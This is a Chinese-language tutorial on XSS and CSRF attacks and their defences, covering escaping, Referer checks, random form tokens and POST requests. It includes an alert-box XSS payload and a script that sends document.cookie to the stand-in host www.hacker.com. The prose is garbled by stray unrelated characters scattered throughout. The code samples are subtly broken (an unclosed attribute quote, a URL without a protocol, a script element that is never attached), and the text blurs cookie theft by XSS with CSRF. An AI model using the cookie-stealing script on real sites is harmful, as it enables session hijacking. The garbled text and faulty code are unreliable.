XSS:Cross Site Scripting,跨站腳本蚣旱,其攻擊的本質(zhì)是讓用戶的瀏覽器運(yùn)行一段刻意構(gòu)造的腳本钦购,其實(shí)用戶的瀏覽器在加載頁面時(shí)候會(huì)調(diào)用其中的腳本段,如果其中存在一段刻意構(gòu)造的惡意腳本的話都许,就會(huì)被瀏覽器直接執(zhí)行稻薇,造成攻擊。
最常見的例子如下:
現(xiàn)在有一個(gè)網(wǎng)站有一個(gè)發(fā)帖子的功能胶征,然后一個(gè)用戶登錄之后塞椎,在輸入帖子的內(nèi)容區(qū)輸入了如下的內(nèi)容:
<script type="text/javascript>
alert("You were hacked!");
</script>
當(dāng)用戶點(diǎn)擊發(fā)帖之后,如果服務(wù)器針對(duì)該內(nèi)容沒有進(jìn)行轉(zhuǎn)碼或其他安全操作睛低,則當(dāng)其他用戶刷新當(dāng)前頁面的時(shí)候案狠,當(dāng)該內(nèi)容嵌入到頁面的時(shí)候成為了頁面的一部分元素,此時(shí)其他用戶就會(huì)看到一個(gè)彈窗顯示You were hacked!钱雷。這就是最常見的骂铁,最易理解的XSS攻擊,就是通過在頁面或者地址上構(gòu)造惡意腳本實(shí)現(xiàn)不同的目的罩抗。
預(yù)防策略:
由于該攻擊是由于輸入的惡意腳本實(shí)現(xiàn)的拉庵,所以最直接的方式就是對(duì)該輸入進(jìn)行轉(zhuǎn)義,轉(zhuǎn)移之后再在頁面顯示則不會(huì)出現(xiàn)上述情況套蒂。
CSRF:Cross Site Request Forgery跨站請(qǐng)求偽造钞支。從名字上就可以看出,該攻擊是假冒用戶進(jìn)行惡意操作操刀。
由于Http協(xié)議是無狀態(tài)協(xié)議烁挟,即這一次請(qǐng)求和上一次請(qǐng)求沒有關(guān)系,網(wǎng)站的用戶認(rèn)證一般都是采用的session的方式實(shí)現(xiàn)骨坑,之前的session直接存在客戶端撼嗓,可以直接獲取,后來的操作都是在客戶端的cookie中存儲(chǔ)session_id。當(dāng)用戶登錄之后静稻,進(jìn)行其他的操作的時(shí)候所有的Http請(qǐng)求的時(shí)候都會(huì)帶上自身的cookies交給服務(wù)器進(jìn)行驗(yàn)證警没,在前面的XSS攻擊中,攻擊者可以獲取到用戶的cookie振湾,例如:
<script type="text/javascript>
var sc = document.createElement("script");
sc.src = "www.hacker.com?cook=" + document.cookie;
sc.onload = function(){
alert("Your cookie was stolen");
}
</script>
通過上述操作之后杀迹,攻擊者就可以獲取到用戶的通行證了,然后在進(jìn)行其他操作的時(shí)候就可以用該cookie進(jìn)行。
預(yù)防策略:
1:該攻擊的原理是假冒用戶押搪,那么預(yù)防的就是加強(qiáng)用戶認(rèn)證树酪,有一種方式是通過refer參數(shù)預(yù)防,即獲取該請(qǐng)求來自的上一頁的地址大州,通過該地址驗(yàn)證來請(qǐng)求來自哪里续语。但是refer在很多情況下獲取不到,包括但不限于:
1.1:Location對(duì)象是一個(gè)用于頁面導(dǎo)航的非常實(shí)用的對(duì)象厦画。因?yàn)樗试S你只變更Url的其中一部分疮茄。例如從cn域名切換到com域名,其他部分不變:window.location.hostname = "example.com";
但是根暑,通過修改Location進(jìn)行頁面導(dǎo)航的方法力试,會(huì)導(dǎo)致在IE下丟失Referrer。
1.2:window.open方式打開新窗口之后在有些瀏覽器沒有傳遞refer
1.3:鼠標(biāo)拖拽打開新窗口,鼠標(biāo)拖拽是現(xiàn)在非常流行的用戶習(xí)慣排嫌,很多瀏覽器都內(nèi)置或者可以通過插件的方式來支持鼠標(biāo)拖拽式瀏覽畸裳。但是通過這種方式打開的頁面,基本全都丟失referrer淳地。并且怖糊,這種情況下,也無法使用window.opener的方式去獲取丟失的referrer了颇象。
2:通過在頁面的輸入表單中加入一個(gè)隨機(jī)的字符串伍伤,然后將該字符串也嵌入到cookie中,當(dāng)提交表單的時(shí)候服務(wù)器可以驗(yàn)證該字符串是否是預(yù)先嵌入的字符串進(jìn)行驗(yàn)證遣钳。
3:通過POST的方式嚷缭,對(duì)于提交表單等會(huì)發(fā)生資源修改的操作,POST操作是首選耍贾,由于Ajax在進(jìn)行提交的時(shí)候不能跨域操作,所以可以避免一部分的攻擊路幸。